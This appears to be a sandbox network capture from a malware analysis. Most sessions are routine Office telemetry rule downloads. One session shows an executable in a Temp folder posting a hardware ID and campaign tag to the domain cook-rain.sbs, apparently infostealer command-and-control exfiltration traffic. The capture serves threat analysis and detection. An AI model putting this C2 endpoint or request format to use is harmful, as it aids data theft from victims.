2024-11-18 20:04:18 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:18 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:18 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200418Z-164f84587bf28gjzhC1DFW35kg000000066000000000md5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:18 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:18 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:18 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5f02778f-801e-0048-0e9a-37f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200418Z-164f84587bfr8hdmhC1DFWt5nc00000004cg00000000ym08 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:18 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:18 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200418Z-16547b76f7fwm7vghC1DFW900s00000003u000000000rfrx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:18 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:18 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:18 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 83606b1e-901e-00ac-2b7d-37b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200418Z-164f84587bf28gjzhC1DFW35kg000000068g00000000a1xp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:19 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49844	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:19 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RP2Y2L2YRT8H7UJLU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8784 Host: cook-rain.sbs
2024-11-18 20:04:19 UTC	8784	OUT	Data Raw: 2d 2d 52 50 32 59 32 4c 32 59 52 54 38 48 37 55 4a 4c 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 41 41 30 35 34 34 41 37 34 44 35 45 32 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 52 50 32 59 32 4c 32 59 52 54 38 48 37 55 4a 4c 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 50 32 59 32 4c 32 59 52 54 38 48 37 55 4a 4c 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --RP2Y2L2YRT8H7UJLUContent-Disposition: form-data; name="hwid"5BAA0544A74D5E2B63CFCF7E6C45F838--RP2Y2L2YRT8H7UJLUContent-Disposition: form-data; name="pid"2--RP2Y2L2YRT8H7UJLUContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-18 20:04:20 UTC	982	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ijgnsni5imjdhcr8l99gi1q1ct; expires=Fri, 14-Mar-2025 13:50:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oWW9r%2BXVT6vpv8uMHiEk4BB9Uao2aoolgj1hpZvCb2kud0s%2Fr2a7eGgT%2FX9UfJiyV0QCE3EhsIUvUUWTEI0ITsPOhp9ES0PVzYMqzUcLFQVRms6oqHfj4qbMU8E5gUwk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a91a9785e1f2a-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22607&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9719&delivery_rate=127678&cwnd=32&unsent_bytes=0&cid=5d1b30d4638b84d0&ts=1377&x=0"
2024-11-18 20:04:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 20:04:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:20 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200420Z-164f84587bfbvgrghC1DFWbs7w000000069g000000009k31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:20 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 2191a5ff-b01e-00ab-7e9b-38dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200420Z-1866b5c5fbbvz6qbhC1DFWsyms00000005gg00000000dcy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:20 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200420Z-16547b76f7fgvq8chC1DFWhd2w00000006ug00000000hxcb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:20 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:20 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200420Z-1866b5c5fbbwlv6nhC1DFWw4bs00000004mg00000000vhk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:20 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:20 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200420Z-1866b5c5fbb5hnj5hC1DFW18sc00000006e000000000f4qy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:21 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200421Z-16547b76f7fp6s5dhC1DFWe28g00000003n000000000076y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
